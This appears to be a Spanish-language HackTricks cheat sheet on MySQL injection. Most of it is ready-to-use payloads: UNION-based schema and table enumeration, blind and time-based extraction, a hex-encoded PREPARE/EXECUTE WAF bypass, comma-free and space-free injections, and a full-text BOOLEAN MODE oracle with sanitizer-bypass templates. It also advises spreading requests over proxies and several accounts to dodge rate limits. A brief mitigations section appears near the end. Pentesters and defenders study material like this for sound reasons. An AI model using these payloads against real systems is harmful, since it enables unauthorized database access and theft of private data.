MySQL injection

Reading time: 10 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Comentarios

sql
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Funciones interesantes

Confirmar Mysql:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Funciones útiles

sql
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Todas las inyecciones

sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

de https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Flujo

Recuerda que en las versiones "modernas" de MySQL puedes sustituir "information_schema.tables" por "mysql.innodb_table_stats" (Esto podría ser útil para evadir WAFs).

sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Solo 1 valor

  • group_concat()
  • Limit X,1

Blind one by one

  • substr(version(),X,1)='r' or substring(version(),X,1)=0x70 or ascii(substr(version(),X,1))=112
  • mid(version(),X,1)='5'

Blind adding

  • LPAD(version(),1...lenght(version()),'1')='asd'...
  • RPAD(version(),1...lenght(version()),'1')='asd'...
  • SELECT RIGHT(version(),1...lenght(version()))='asd'...
  • SELECT LEFT(version(),1...lenght(version()))='asd'...
  • SELECT INSTR('foobarbar', 'fo...')=1

Detectar número de columnas

Usando un simple ORDER

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union Based

sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Aprende aquí diferentes opciones para abuse a Mysql injection to obtain a SSRF.

Trucos para evadir WAF

Ejecutar consultas mediante Prepared Statements

Cuando las stacked queries están permitidas, podría ser posible evadir WAFs asignando a una variable la representación hexadecimal de la consulta que quieres ejecutar (usando SET), y luego usar las sentencias PREPARE y EXECUTE de MySQL para finalmente ejecutar la consulta. Algo así:

0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #

Para más información, consulte this blog post.

Alternativas a information_schema

Recuerda que en "modern" versiones de MySQL puedes sustituir information_schema.tables por mysql.innodb_table_stats o por sys.x$schema_flattened_keys o por sys.schema_table_statistics

MySQLinjection sin COMAS

Seleccionar 2 columnas sin usar ninguna coma (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Recuperando valores sin el nombre de la columna

Si en algún momento conoces el nombre de la tabla pero no conoces los nombres de las columnas dentro de la tabla, puedes intentar averiguar cuántas columnas hay ejecutando algo como:

bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Suponiendo que hay 2 columnas (siendo la primera el ID) y la otra el flag, puedes intentar un bruteforce del contenido del flag probando carácter por carácter:

bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

Más información en https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

Injection without SPACES (/**/ comment trick)

Algunas aplicaciones sanitizan o analizan la entrada del usuario con funciones como sscanf("%128s", buf) que se detienen en el primer carácter de espacio. Dado que MySQL trata la secuencia /**/ como un comentario y como espacio en blanco, puede usarse para eliminar por completo los espacios normales del payload manteniendo la query sintácticamente válida.

Ejemplo de time-based blind injection que evita el filtro de espacios:

http
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'

Que la base de datos recibe como:

sql
' OR SLEEP(5)-- -'

Esto es especialmente útil cuando:

  • El buffer controlable está restringido en tamaño (p. ej. %128s) y los espacios terminarían prematuramente la entrada.
  • Inyectar a través de HTTP headers u otros campos donde los espacios normales se eliminan o se usan como separadores.
  • Combinado con primitivas INTO OUTFILE para lograr RCE completo pre-auth (ver la sección MySQL File RCE).

Historial de MySQL

Puedes ver otras ejecuciones dentro de MySQL leyendo la tabla: sys.x$statement_analysis

Versión alternativas

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

Abuso de operadores de MySQL Full-Text Search (FTS) en BOOLEAN MODE (WOR)

Esto no es una SQL injection clásica. Cuando los desarrolladores pasan entrada de usuario a MATCH(col) AGAINST('...' IN BOOLEAN MODE), MySQL ejecuta un conjunto rico de operadores de búsqueda booleanos dentro de la cadena entrecomillada. Muchas reglas WAF/SAST solo se centran en romper las comillas y no detectan esta superficie.

Puntos clave:

  • Los operadores se evalúan dentro de las comillas: + (debe incluirse), - (no debe incluirse), * (comodín de sufijo), "..." (frase exacta), () (agrupación), </>/~ (pesos). Ver la documentación de MySQL.
  • Esto permite pruebas de presencia/ausencia y de prefijo sin romper el literal de cadena, p. ej. AGAINST('+admin*' IN BOOLEAN MODE) para comprobar cualquier término que empiece con admin.
  • Útil para construir oráculos como “¿alguna fila contiene un término con prefijo X?” y para enumerar cadenas ocultas mediante expansión por prefijo.

Ejemplo de consulta construida por el backend:

sql
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);

Si la aplicación devuelve respuestas diferentes dependiendo de si el conjunto de resultados está vacío (p. ej., redirección vs. mensaje de error), ese comportamiento se convierte en un Boolean oracle que puede usarse para enumerar datos privados como títulos ocultos/eliminados.

Sanitizer bypass patterns (generic):

  • Boundary-trim preserving wildcard: if the backend trims 1–2 trailing characters per word via a regex like (\b.{1,2})(\s)|(\b.{1,2}$), submit prefix*ZZ. The cleaner trims the ZZ but leaves the *, so prefix* survives.
  • Early-break stripping: if the code strips operators per word but stops processing when it finds any token with length ≥ min length, send two tokens: the first is a junk token that meets the length threshold, the second carries the operator payload. For example: &&&&& +jack*ZZ → after cleaning: +&&&&& +jack*.

Payload template (URL-encoded):

keywords=%26%26%26%26%26+%2B{FUZZ}*xD
  • %26 es &, %2B es +. The trailing xD (or any two letters) is trimmed by the cleaner, preserving {FUZZ}*.
  • Treat a redirect as “match” and an error page as “no match”. Don’t auto-follow redirects to keep the oracle observable.

Enumeration workflow:

  1. Comienza con {FUZZ} = a…z,0…9 para encontrar first-letter matches vía +a*, +b*, …
  2. Para cada prefijo positivo, ramifica: a* → aa* / ab* / …. Repite hasta recuperar la cadena completa.
  3. Distribuye las peticiones (proxies, múltiples cuentas) si la app aplica flood control.

Why titles often leak while contents don’t:

  • Some apps apply visibility checks only after a preliminary MATCH on titles/subjects. If control-flow depends on the “any results?” outcome before filtering, existence leaks occur.

Mitigations:

  • Si no necesitas Boolean logic, usa IN NATURAL LANGUAGE MODE o trata la entrada del usuario como literal (escapar/poner entre comillas desactiva operadores en otros modos).
  • Si se requiere Boolean mode, elimina o neutraliza todos los Boolean operators (+ - * " ( ) < > ~) para cada token (sin cortes prematuros) después de la tokenización.
  • Aplica visibility/authorization filters antes del MATCH, o unifica las respuestas (constant timing/status) cuando el result set esté vacío vs. no vacío.
  • Revisa características análogas en otros DBMS: PostgreSQL to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2 CONTAINS también parsean operadores dentro de argumentos entre comillas.

Notas:

  • Prepared statements no protegen contra el abuso semántico de REGEXP u operadores de búsqueda. Una entrada como .* sigue siendo una regex permisiva incluso dentro de REGEXP '.*' entre comillas. Usa allow-lists o guardias explícitos.

Otras guías de MYSQL injection

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks